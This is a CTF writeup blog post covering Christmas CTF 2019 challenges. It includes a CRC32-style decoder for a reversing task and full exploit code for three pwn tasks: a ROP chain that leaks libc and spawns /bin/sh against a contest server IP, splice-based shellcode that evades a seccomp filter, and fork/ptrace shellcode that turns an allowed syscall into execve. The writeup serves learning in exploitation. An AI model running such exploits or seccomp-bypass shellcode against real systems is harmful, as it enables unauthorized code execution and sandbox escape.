CTFするぞ

CTF以外のことも書くよ

Christmas CTF 2019 Writeup

XMAS CTF was held in Christmas for those who are lone! We zer0pts played this CTF and I worked on pwn tasks which are well-designed. I couldn't work on it full-time because I had school but still enjoyed the CTF :)

f:id:ptr-yudai:20191229213935p:plain

Other members' writeups:

st98.github.io

The tasks and solvers:

https://bitbucket.org/ptr-yudai/writeups/src/master/2019/Christmas_CTF/

[rev 919pts] welcome rev

The program just encodes the flag and saves it. I just did the opposite operations and decoded the flag.

import struct

table = []

def search_by_msb(msb):
    for i, value in enumerate(table):
        if value >> 24 == msb:
            return i, value
    raise Exception("Not found")

def decode(encoded):
    output = ''
    dList = [0, 0, 0, 0]
    for i in range(4):
        d, t = search_by_msb(encoded >> 24)
        dList[3 - i] = d
        encoded = (encoded ^ t) << 8
    encoded = 0xffffffff
    for i in range(4):
        c = dList[i] ^ (encoded & 0xff)
        encoded = (encoded >> 8) ^ table[dList[i]]
        output += chr(c)
    return output

if __name__ == '__main__':
    with open('welcome_rev', 'rb') as f:
        f.seek(0xae0)
        for i in range(0x100):
            table.append(struct.unpack('<I', f.read(4))[0])
    with open('encrypted', 'rb') as f:
        output = ''
        while True:
            data = f.read(4)
            if data == b'': break
            v = decode(struct.unpack('<I', data)[0])
            output += v
        print(output)

After decoding, I found it's actually just a CRC32.

[pwn 834pts] Solo Test

We're given a 64-bit ELF.

$ checksec -f solo_test
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   83 Symbols     No       0               6       solo_test

As it has simple stack overflow, we can easily get the shell. I found the server works with libc-2.29 by using libc database.

from ptrlib import *

elf = ELF("./solo_test")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#sock = Process("./solo_test")
sock = Socket("115.68.235.72", 1337)
libc = ELF("./libc6_2.29-0ubuntu2_amd64.so")
rop_pop_rdi = 0x00400b83

# Stage 1
payload = b'A' * 0x58
payload += p64(rop_pop_rdi)
payload += p64(elf.got('puts'))
payload += p64(elf.plt('puts'))
payload += p64(elf.symbol('_start'))

sock.sendafter(">> ", "Me")
sock.sendafter(">> ", "No")
sock.sendafter(">> ", "CTF")
sock.sendafter(">> ", "Never")
sock.sendafter(">> ", "No")

sock.sendafter("> ", payload)
libc_base = u64(sock.recvline()) - libc.symbol('puts')
logger.info("libc = " + hex(libc_base))

# Stage 2
payload = b'A' * 0x58
payload += p64(rop_pop_rdi + 1)
payload += p64(rop_pop_rdi)
payload += p64(libc_base + next(libc.find('/bin/sh')))
payload += p64(libc_base + libc.symbol('system'))

sock.sendafter(">> ", "Me")
sock.sendafter(">> ", "No")
sock.sendafter(">> ", "CTF")
sock.sendafter(">> ", "Never")
sock.sendafter(">> ", "No")

sock.sendafter("> ", payload)

sock.interactive()

[pwn 961pts] babyseccomp

The program just opens the flag and accepts shellcode but it has the following seccomp filter.

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x19 0xc000003e  if (A != ARCH_X86_64) goto 0027
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x25 0x17 0x00 0x40000000  if (A > 0x40000000) goto 0027
 0004: 0x15 0x16 0x00 0x0000003b  if (A == execve) goto 0027
 0005: 0x15 0x15 0x00 0x00000142  if (A == execveat) goto 0027
 0006: 0x15 0x14 0x00 0x00000002  if (A == open) goto 0027
 0007: 0x15 0x13 0x00 0x00000101  if (A == openat) goto 0027
 0008: 0x15 0x12 0x00 0x00000000  if (A == read) goto 0027
 0009: 0x15 0x11 0x00 0x00000011  if (A == pread64) goto 0027
 0010: 0x15 0x10 0x00 0x00000013  if (A == readv) goto 0027
 0011: 0x15 0x0f 0x00 0x00000127  if (A == preadv) goto 0027
 0012: 0x15 0x0e 0x00 0x00000147  if (A == preadv2) goto 0027
 0013: 0x15 0x0d 0x00 0x00000001  if (A == write) goto 0027
 0014: 0x15 0x0c 0x00 0x00000012  if (A == pwrite64) goto 0027
 0015: 0x15 0x0b 0x00 0x00000014  if (A == writev) goto 0027
 0016: 0x15 0x0a 0x00 0x00000128  if (A == pwritev) goto 0027
 0017: 0x15 0x09 0x00 0x00000148  if (A == pwritev2) goto 0027
 0018: 0x15 0x08 0x00 0x00000028  if (A == sendfile) goto 0027
 0019: 0x15 0x07 0x00 0x00000038  if (A == clone) goto 0027
 0020: 0x15 0x06 0x00 0x00000039  if (A == fork) goto 0027
 0021: 0x15 0x05 0x00 0x00000065  if (A == ptrace) goto 0027
 0022: 0x15 0x04 0x00 0x00000029  if (A == socket) goto 0027
 0023: 0x15 0x03 0x00 0x0000002b  if (A == accept) goto 0027
 0024: 0x15 0x02 0x00 0x00000031  if (A == bind) goto 0027
 0025: 0x15 0x01 0x00 0x00000032  if (A == listen) goto 0027
 0026: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0027: 0x06 0x00 0x00 0x00000000  return KILL

I looked over the syscall table and found splice useful. In order to leak the flag to stdout, we need to create a pipe so that splice works fine.

Here's my shellcode:

_start:
  lea rdi, [rbp+0x10]
  mov rax, 22
  syscall                       ; pipe(&p)

  mov r9, 1
  mov r8, 0x100
  xor r10, r10
  xor edx, edx
  mov edx, [rbp+0x14]
  xor rsi, rsi
  xor edi, edi
  mov edi, [rbp-0x1014]
  mov rax, 275
  syscall                       ; splice(fd, NULL, p[1], NULL, 0x100, 1)

  mov r9, 1
  mov r8, 0x100
  xor r10, r10
  mov rdx, 1
  xor rsi, rsi
  xor edi, edi
  mov edi, [rbp+0x10]
  mov rax, 275
  syscall                       ; splice(p[0], NULL, 1, NULL, 0x100, 1)

[pwn 993pts] adult seccomp

We're given a binary and some docker environment files. From the Dockerfile, we can easily find our objective to run /readflag. Otherwise there's no luck because /readflag is only executable (not readable). Also, there's the following filter:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0006
 0005: 0x06 0x00 0x00 0x00000000  return KILL
 0006: 0x15 0x06 0x00 0x0000003b  if (A == execve) goto 0013
 0007: 0x15 0x05 0x00 0x00000142  if (A == execveat) goto 0013
 0008: 0x15 0x04 0x00 0x00000029  if (A == socket) goto 0013
 0009: 0x15 0x03 0x00 0x0000009d  if (A == prctl) goto 0013
 0010: 0x15 0x02 0x00 0x0000003a  if (A == vfork) goto 0013
 0011: 0x15 0x01 0x00 0x00000038  if (A == clone) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x00000000  return KILL

How can we execute a binary without using execve and execveat? It's not possible but there's a way to forge the seccomp. Before certain kernel version, the kernel allows a tracer to hook a system call of its tracee. We can do this because fork and ptrace are not banned.

Here's my final shellcode:

_start:
  mov rbp, rsp
  mov rax, 57
  syscall                       ; fork()
  test eax, eax
  jz child
  mov [rbp + 0x8], rax          ; cpid

parent:
  lea r10, [rbp + 0x20]
  xor rdx, rdx
  lea rsi, [rbp + 0x10]
  mov rdi, [rbp + 0x8]
  mov rax, 61
  syscall                       ; wait4(cpid, &s, 0)
  mov r10, 1
  xor rdx, rdx
  mov rsi, [rbp + 0x8]
  mov rdi, 0x4200
  mov rax, 101
  syscall                       ; ptrace(PTRACE_SETOPTIONS, cpid, 0, PTRACE_O_TRACESYSGOOD)
  
  .@Lp:
  xor r10, r10
  xor rdx, rdx
  mov rsi, [rbp + 0x8]
  mov rdi, 24
  mov rax, 101
  syscall                       ; ptrace(PTRACE_SYSCALL, cpid, 0, 0)
  lea r10, [rbp + 0x20]
  xor rdx, rdx
  lea rsi, [rbp + 0x10]
  mov rdi, [rbp + 0x8]
  mov rax, 61
  syscall                       ; wait4(cpid, &s, 0)

  mov rax, [rbp + 0x10]
  mov rbx, rax
  and rbx, 0b1111111
  cmp rbx, 0b1111111
  jnz .@Skip
  shr rax, 8
  and rax, 0x80
  test eax, eax
  jz .@Skip

  lea r10, [rbp + 0x40]
  xor rdx, rdx
  mov rsi, [rbp + 0x8]
  mov rdi, 12
  mov rax, 101
  syscall                       ; ptrace(PTRACE_GETREGS, cpid, 0, &r)
  mov rax, [rbp + 0x40 + 0x78]
  cmp rax, 39
  jnz .@Skip

  mov qword [rbp + 0x40 + 0x78], 59   ; dummy --> execve
  lea r10, [rbp + 0x40]
  xor rdx, rdx
  mov rsi, [rbp + 0x8]
  mov rdi, 13
  mov rax, 101
  syscall                       ; ptrace(PTRACE_SETREGS, cpid, 0, &r)
  
  .@Skip:
  mov rax, [rbp + 0x10]
  and rax, 0b1111111
  test rax, rax
  jnz .@Lp
  
  jmp exit

child:
  xor r10, r10
  xor rdx, rdx
  xor rsi, rsi
  xor rdi, rdi
  mov rax, 101
  syscall                       ; ptrace(PTRACE_TRACEME, 0, 0, 0)
  mov rax, 39
  syscall
  mov rsi, 17
  mov rdi, rax
  mov rax, 62
  syscall                       ; kill(getpid(), SIGSTOP)

  ;  mov rax, 0x0068732f6e69622f
  mov rax, 0x616c66646165722f
  mov rbx, 0x0000000000000067
  mov [rbp + 0x10], rax
  mov [rbp + 0x18], rbx
  lea rdi, [rbp + 0x10]
  xor rdx, rdx
  mov [rbp + 0x20], rdi
  mov qword [rbp + 0x28], 0
  lea rsi, [rbp + 0x20]
  mov rax, 39
  syscall                       ; dummy("/readflag", NULL, NULL)

  jmp exit

exit:
  mov rdi, 0
  mov rax, 60
  syscall